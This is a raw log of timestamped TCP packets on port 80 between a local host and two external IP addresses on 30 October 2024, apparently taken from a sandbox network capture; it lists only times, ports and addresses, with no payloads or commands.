Oct 30, 2024 21:55:28.415878057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415889978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415901899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415916920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415927887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415940046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415944099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415951967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415957928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.415971994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415985107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.415994883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416008949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416012049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416012049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416021109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416039944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416047096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416064024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416074991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416093111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416100979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416100979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416105032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416116953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416130066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416138887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416153908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416153908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416208982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416220903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416232109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416397095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416397095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416522980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416582108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416593075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416604996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416665077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416676998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416688919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416701078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416712046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.416729927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416729927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416729927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416729927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.416809082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417141914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417145967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417272091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417634010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417644978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417655945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417687893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417687893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417717934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417741060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417753935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417764902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417788982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417862892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417872906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417884111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417895079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.417924881 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.417959929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.418308020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418319941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418330908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418354034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418371916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418378115 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.418382883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418390989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.418395996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418406963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.418520927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.418520927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.419961929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.657174110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:04.516139030 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:04.522124052 CET	80	50176	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:04.522222042 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:04.522349119 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:04.528152943 CET	80	50176	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:05.446543932 CET	80	50176	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:05.446754932 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.954308987 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.954596996 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.961478949 CET	80	50190	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:06.961931944 CET	80	50176	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:06.961982965 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.962017059 CET	50176	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.962071896 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:06.967966080 CET	80	50190	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:07.895279884 CET	80	50190	185.215.113.43	192.168.2.5
Oct 30, 2024 21:56:07.895356894 CET	50190	80	192.168.2.5	185.215.113.43
Oct 30, 2024 21:56:07.898725033 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:07.904639959 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:07.904711008 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:07.904813051 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:07.911159992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837243080 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837255001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837268114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837279081 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837302923 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837337971 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.837383986 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.837435007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837446928 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837457895 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837481022 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.837498903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837512970 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.837512016 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.837548018 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.843257904 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.843271017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.843298912 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.843326092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.843344927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.999567986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.999581099 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.999596119 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.999610901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.999625921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.999644041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.999658108 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:08.999706030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:08.999748945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.000201941 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000212908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000220060 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000267982 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.000634909 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000648022 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000659943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000672102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.000682116 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.000714064 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.001408100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.001463890 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.001552105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.001600027 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.001971960 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.002017975 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.002127886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.002199888 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.122406006 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122416973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122428894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122497082 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.122548103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.122585058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122600079 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122612000 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.122628927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.122661114 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.123317957 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123328924 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123382092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.123502970 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123513937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123524904 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123554945 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.123585939 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.123641968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.123692036 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.124144077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.124313116 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.164627075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.164638996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.164654016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.164824009 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.244960070 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.244975090 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.244985104 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245054007 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245093107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245160103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245160103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245296955 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245311022 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245322943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245354891 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245402098 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245402098 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.245426893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.245465994 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.246071100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.246130943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.246274948 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.246288061 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.246328115 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.284096003 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.284149885 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.284264088 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.284307957 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.289534092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.289545059 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.289592028 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.358764887 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.358829021 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.358839989 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.359000921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.359000921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.364507914 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.364518881 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.364537954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.364547014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.364579916 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.364610910 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.370309114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370330095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370340109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370352983 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370364904 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370373011 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.370376110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.370402098 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.370433092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.400573015 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.400768995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.403974056 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.403985023 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.404021025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.404037952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.404047012 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.404088020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.404088974 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.404402018 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.478465080 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.478485107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.478494883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.478528023 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.478559017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.478560925 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.478604078 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.478862047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.478920937 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.479051113 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479100943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479105949 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.479113102 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479121923 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479156971 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.479186058 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.479763985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479774952 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479784012 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.479820013 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.479849100 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.519762993 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.519781113 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.519885063 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.519884109 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.519896030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.519941092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.520263910 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.520325899 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.520360947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.520412922 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.598150969 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598223925 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.598303080 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598311901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598330021 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598340988 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598351002 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.598360062 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.598396063 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.599010944 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599069118 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.599086046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599138021 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.599317074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599360943 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599370956 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599370956 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.599375963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.599420071 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.600032091 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.600042105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.600052118 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.600090027 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.600121975 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.639534950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.639544964 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.639652014 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.640033960 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.640043974 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.640053988 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.640100002 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.640137911 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.718020916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718080997 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718091965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718102932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718224049 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.718411922 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718432903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718441963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718475103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.718508959 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.718828917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718841076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718852043 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718862057 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.718908072 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.718908072 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.719441891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.719496965 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.719506979 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.719521999 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.719553947 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.759382010 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.759502888 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.759506941 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.759561062 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.760206938 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.760217905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.760227919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.760278940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.760314941 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.837732077 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.837786913 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.837798119 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.837811947 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.837845087 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.837976933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.837987900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.837997913 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.838037014 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.838068008 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.838372946 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.838418007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:09.838422060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:09.838471889 CET	50196	80	192.168.2.5	185.215.113.16
